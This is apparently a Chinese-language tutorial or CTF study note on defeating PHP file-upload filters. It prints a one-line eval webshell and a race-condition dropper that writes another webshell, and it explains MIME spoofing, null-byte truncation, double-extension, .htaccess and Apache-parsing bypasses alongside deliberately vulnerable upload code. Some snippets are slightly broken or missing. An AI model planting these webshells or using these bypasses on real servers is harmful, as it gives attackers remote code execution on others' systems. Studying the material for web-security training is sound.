一句话木马
<?php @eval($_POST['cmd'])?>
其中’cmd‘是可以自行更改
这只是其中一种一句话木马,其余详见csdn-ctf-php一句话木马集合
无验证
直接将一句话木马文件上传,在使用中国蚁剑即可
Js前端验证
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
显然此处只允许上传jpg、png、gif后缀文件
那么就将所写的一句话木马文件后缀改为以上三种之一,如jpg,此处需搭配burpsuite,在上传的时候使用burpsuite进行抓包,注意所抓包为前端向后端请求的包,
从而更改所上传的文件后缀改为php,后续就使用蚁剑即可
ps:此处因为是前端验证所以所上传文件只要通过前端验证即可
MIME绕过
首先理解何为MIME?
MIME: 服务器端上传检测文件时,在HTTP中MIME类型被定义在Content-Type header中。此处便是我们进行绕过检测成功上传的核心。
当上传一个jpg文件是用burp抓包
注意此时Content-Type: image/jpeg-->这是对应的文件格式
在上传一个php文件,并使用burp抓包
此时的Content-Type: application/octet-stream
所谓MIME绕过便就是通过更改content-type对应的文件格式
所以只需把上传php文件的content-type改为image/jpeg
在发送数据包即可,此时便可成功上传,后续蚁剑
00截断
00截断的原理
是操作系统层的漏洞,操作系统是c语言或汇编语言编写的,在定义字符串时,都是以‘ \0 ’(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0时,便以为读取结束。因此通过修改数据包,插入\0字符的形式,达到字符串截断的目的
截断发生条件
php 版本小于 5.3.4 才有可能存在此漏洞
magic_quotes_gpc为off状态
?
<?php
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
?>
<?php
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
?>
同样由于白名单,把马子后缀改为1.php.jpg(jpg才是真正的后缀,但php是我们想要的后缀),进行上传并用burp抓包
move_uploaded_file($_FILES['file']['tmp_name'], $des)
在读取$des时读到%00发生截断,导致存入路径就到%00之前,从而实现绕过白名单
此时我们的文件后缀为jpg,我们想要的时PHP,因此在第一行upload/后 + 1.php%00(php后跟%00,那么读取文件名时只会读取到.php,而不是.jpg,因此马子就会被当成一个php文件来执行)
此时在放包就可以成功上传;后续一样
双写绕过
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
str_ireplace($blacklist, "", $name) 该函数意思便就是在name中查找是否有数组blacklist中的字符串,若有在则将该字符串替换为空白
上传马子1.php
显然所上传文件后缀php被过滤
单单只是文件名被过滤,所以此处考虑双写绕过,但注意此处双写不是简单的把后缀名写两次,而是在php中套一个php,即pphphp;如果只是简单的双写php.php那么两个php后缀名都会被识别并被过滤;
后续使用蚁剑即可
.htaccess
何为htaccess文件
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
..
查看源代码之后很明显禁止了许多文件名的访问
于是便想到利用.htaccess文件来使得我们所上传的文件可以成功上传并执行,也就是我们自己写一个新的.htaccess文件去代替网站本身的.htaccess文件
.htaccess文件内容为
ps:
- SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解 析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错。
- 该文件意为把所有带‘txt’的文件当为php文件来解析
此时便可上传一个不在黑名单的后缀名文件,如1.txt-->马子改后缀
后续蚁剑
文件头检测
原理?
每个文件都有自己的标识符,在文件传输时会进行检测
其利用的是:每一个特定的类型文件都会有不太一样的开头或者标志位来表明它们的文件类型,也就是文件幻数。文件幻数:可以用来标记文件或者协议的格式,很多文件都有幻数标致来表明该文件格式,,,如:
做法
用自带的画图软件做一个最最最简单图片,再将其转化为txt文件,在文件最后加一句话木马,再改为原格式,上传并用burp抓包,将文件后缀改为php,放包,蚁剑;
文件后缀绕过
原理
在Apache解析顺序中,是从右到左开始解析文件后缀,如果最右侧后缀名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止,所以如果上传的文件名类似1.php.xxx,因为xxx不可解析,所以向左解析php
.
如
<?php
$info = pathinfo($_FILES["fiel"]["name"]);//获取文件名
$ext = $info['extension']; //获取文件扩展名
if(strtolower($ext) == "php")
{
exit("不允许的后缀名");
}
显然此段代码不允许php后缀名,因此此时上传一个1.php.phtml,那么ext=phtml,便可通过函数,但由于Apache解析原因,phtml不可解析,所以会解析php。从而实现绕过
竞争条件攻击
原理
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传文件是否包含脚本(如:一句话木马),如果包含则删除该文件。但是在文件上传成功到删除之间存在一个短的时间差(执行检查和删除操作需要时间),于是便可利用该时间差完成上传漏洞攻击.....
如上传一个1.php文件,文件作用是生成一个新的马子文件
<?php
fputs(fopen('../2.php', 'w'), '<?php @eval($_POST[123];?>');
?>
当1.php上传成功后,客户端会立即访问1.php,那么1.php就会在服务端当前目录下自动生成2.php,利用时间差完成上传,达到效果